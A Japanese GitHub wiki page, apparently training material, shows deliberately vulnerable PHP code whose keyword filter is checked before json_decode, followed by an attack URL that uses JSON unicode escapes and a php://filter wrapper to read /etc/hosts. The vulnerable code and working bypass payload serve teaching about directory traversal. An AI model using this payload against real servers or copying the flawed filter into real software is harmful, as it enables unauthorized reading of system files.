ディレクトリトラバーサル 04 - yujitounai/helloworld GitHub Wiki

ディレクトリトラバーサル-03

json_decodeだと文字参照で抜けるのでそれを使ったフィルタのバイパスによるディレクトリトラバーサル

脆弱なソースコード (PHP)

<div class="box">
	<form method="get" action="">json
		<input name="query" type="text" value='{"read":"test1"}'>
		<input type="submit">
	</form>
</div>
<?php
$query = filter_input(INPUT_GET,"query");
$filter_list = [
"php",
"fil",
"dat",
"zip",
"pha",
"exp",
"/",
".",
];

foreach ($filter_list as $filter) {
	if(stripos($query, $filter) !== false) {
		exit("Filtered!");
	}
}

$output = file_get_contents(json_decode($query, true)['read']);
if(stripos($output, "<?php") !== false){
	exit("Filtered!");
}
exit(json_encode(["data" => $output]));
?>

攻撃方法

directorytraversal-04.php?query={"read":"p\u0068p:\u002f\u002f\u0066ilter\u002fconvert\u002ebase64-encode\u002fresource=\u002fetc\u002fhosts"}

⚠️ **GitHub.com Fallback** ⚠️